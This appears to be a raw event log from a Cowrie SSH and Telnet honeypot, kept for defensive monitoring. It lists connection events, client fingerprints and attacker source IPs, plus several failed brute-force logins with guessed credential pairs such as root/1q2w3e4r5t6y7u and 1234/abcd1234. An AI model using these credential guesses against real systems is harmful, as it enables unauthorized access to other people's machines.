{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":33344,"dst_ip":"10.17.0.5","dst_port":22,"session":"435564bf7a02","protocol":"ssh","message":"New connection: 62.133.63.178:33344 (10.17.0.5:22) [session: 435564bf7a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:08.539838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:08.544951Z","src_ip":"62.133.63.178","session":"435564bf7a02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:08.672825Z","src_ip":"62.133.63.178","session":"435564bf7a02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sssssss","message":"login attempt [root/sssssss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:09.044911Z","src_ip":"62.133.63.178","session":"435564bf7a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:10.171241Z","src_ip":"62.133.63.178","session":"435564bf7a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.558897733688354,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:29.472712Z","src_ip":"152.42.224.71","session":"b30176526695","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49252,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6f14565eead","protocol":"telnet","message":"New connection: 152.42.224.71:49252 (10.17.0.5:23) [session: a6f14565eead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:33.516758Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45470,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f0430fd0791","protocol":"telnet","message":"New connection: 152.42.224.71:45470 (10.17.0.5:23) [session: 4f0430fd0791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:37.618503Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45482,"dst_ip":"10.17.0.5","dst_port":23,"session":"58fea2f1bcae","protocol":"telnet","message":"New connection: 152.42.224.71:45482 (10.17.0.5:23) [session: 58fea2f1bcae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:39.919508Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45492,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eef16ef7b09","protocol":"telnet","message":"New connection: 152.42.224.71:45492 (10.17.0.5:23) [session: 6eef16ef7b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:43.136327Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":35382,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7f7a1abd9aa","protocol":"ssh","message":"New connection: 103.75.182.198:35382 (159.203.135.109:22) [session: b7f7a1abd9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:46.665921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:46.670327Z","src_ip":"103.75.182.198","session":"b7f7a1abd9aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:46.918531Z","src_ip":"103.75.182.198","session":"b7f7a1abd9aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y7u","message":"login attempt [root/1q2w3e4r5t6y7u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:47.654165Z","src_ip":"103.75.182.198","session":"b7f7a1abd9aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:48.902477Z","src_ip":"103.75.182.198","session":"b7f7a1abd9aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39270,"dst_ip":"10.17.0.5","dst_port":23,"session":"774f016ab370","protocol":"telnet","message":"New connection: 152.42.224.71:39270 (10.17.0.5:23) [session: 774f016ab370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:58.266236Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39286,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7d5c7f1d05e","protocol":"telnet","message":"New connection: 152.42.224.71:39286 (10.17.0.5:23) [session: e7d5c7f1d05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:20:58.444482Z"}
{"eventid":"cowrie.session.closed","duration":67.57470154762268,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:06.323037Z","src_ip":"152.42.224.71","session":"fd009f0ca8ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":33360,"dst_ip":"10.17.0.5","dst_port":22,"session":"66b028180f7f","protocol":"ssh","message":"New connection: 103.75.183.219:33360 (10.17.0.5:22) [session: 66b028180f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:14.304128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:14.309025Z","src_ip":"103.75.183.219","session":"66b028180f7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:14.559024Z","src_ip":"103.75.183.219","session":"66b028180f7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fgtkmcby","message":"login attempt [root/fgtkmcby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:15.310580Z","src_ip":"103.75.183.219","session":"66b028180f7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53932,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c0481121c27","protocol":"telnet","message":"New connection: 152.42.224.71:53932 (10.17.0.5:23) [session: 0c0481121c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:16.129239Z"}
{"eventid":"cowrie.session.closed","duration":42.931127309799194,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:16.447777Z","src_ip":"152.42.224.71","session":"a6f14565eead","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:16.563970Z","src_ip":"103.75.183.219","session":"66b028180f7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.57749533653259,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:17.496866Z","src_ip":"152.42.224.71","session":"58fea2f1bcae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53944,"dst_ip":"10.17.0.5","dst_port":23,"session":"67c45ef8b104","protocol":"telnet","message":"New connection: 152.42.224.71:53944 (10.17.0.5:23) [session: 67c45ef8b104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:17.573087Z"}
{"eventid":"cowrie.session.closed","duration":43.54481840133667,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:21.163192Z","src_ip":"152.42.224.71","session":"4f0430fd0791","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00131034851074,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:21.756508Z","src_ip":"152.42.224.71","session":"cdaba3a57a9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":31917,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c62ed8908c3","protocol":"ssh","message":"New connection: 193.46.255.86:31917 (159.203.135.109:22) [session: 8c62ed8908c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:21.854116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:21.858864Z","src_ip":"193.46.255.86","session":"8c62ed8908c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:21.988464Z","src_ip":"193.46.255.86","session":"8c62ed8908c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234","message":"login attempt [1234/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:22.540133Z","src_ip":"193.46.255.86","session":"8c62ed8908c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"abc123","message":"login attempt [1234/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:23.664548Z","src_ip":"193.46.255.86","session":"8c62ed8908c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"abcd123","message":"login attempt [1234/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:24.798237Z","src_ip":"193.46.255.86","session":"8c62ed8908c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"abcd1234","message":"login attempt [1234/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:25.924035Z","src_ip":"193.46.255.86","session":"8c62ed8908c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.832847595214844,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:26.098990Z","src_ip":"152.42.224.71","session":"774f016ab370","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"1234","password":"abc1234","message":"login attempt [1234/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:27.048098Z","src_ip":"193.46.255.86","session":"8c62ed8908c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:28.171184Z","src_ip":"193.46.255.86","session":"8c62ed8908c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.395158529281616,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:33.839515Z","src_ip":"152.42.224.71","session":"e7d5c7f1d05e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00823903083801,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:41.016596Z","src_ip":"152.42.224.71","session":"20abc852a944","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50150,"dst_ip":"10.17.0.5","dst_port":23,"session":"654ea6a827a6","protocol":"telnet","message":"New connection: 152.42.224.71:50150 (10.17.0.5:23) [session: 654ea6a827a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:41.218821Z"}
{"eventid":"cowrie.session.closed","duration":58.244423627853394,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:41.380625Z","src_ip":"152.42.224.71","session":"6eef16ef7b09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.26159071922302,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:56.834554Z","src_ip":"152.42.224.71","session":"67c45ef8b104","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59744,"dst_ip":"10.17.0.5","dst_port":23,"session":"a93ca0c7aebe","protocol":"telnet","message":"New connection: 152.42.224.71:59744 (10.17.0.5:23) [session: a93ca0c7aebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:21:58.289430Z"}
{"eventid":"cowrie.session.closed","duration":53.401569843292236,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:09.530682Z","src_ip":"152.42.224.71","session":"0c0481121c27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":34066,"dst_ip":"159.203.135.109","dst_port":22,"session":"62c736b7ff26","protocol":"ssh","message":"New connection: 109.237.96.109:34066 (159.203.135.109:22) [session: 62c736b7ff26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:15.473450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:15.478772Z","src_ip":"109.237.96.109","session":"62c736b7ff26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:15.571243Z","src_ip":"109.237.96.109","session":"62c736b7ff26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dmitriy","message":"login attempt [root/dmitriy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:15.843426Z","src_ip":"109.237.96.109","session":"62c736b7ff26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":31114,"dst_ip":"159.203.135.109","dst_port":22,"session":"a789674da4f5","protocol":"ssh","message":"New connection: 194.59.206.2:31114 (159.203.135.109:22) [session: a789674da4f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:16.843904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:16.855232Z","src_ip":"194.59.206.2","session":"a789674da4f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:16.937542Z","src_ip":"109.237.96.109","session":"62c736b7ff26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:16.948520Z","src_ip":"194.59.206.2","session":"a789674da4f5","protocol":"ssh"}
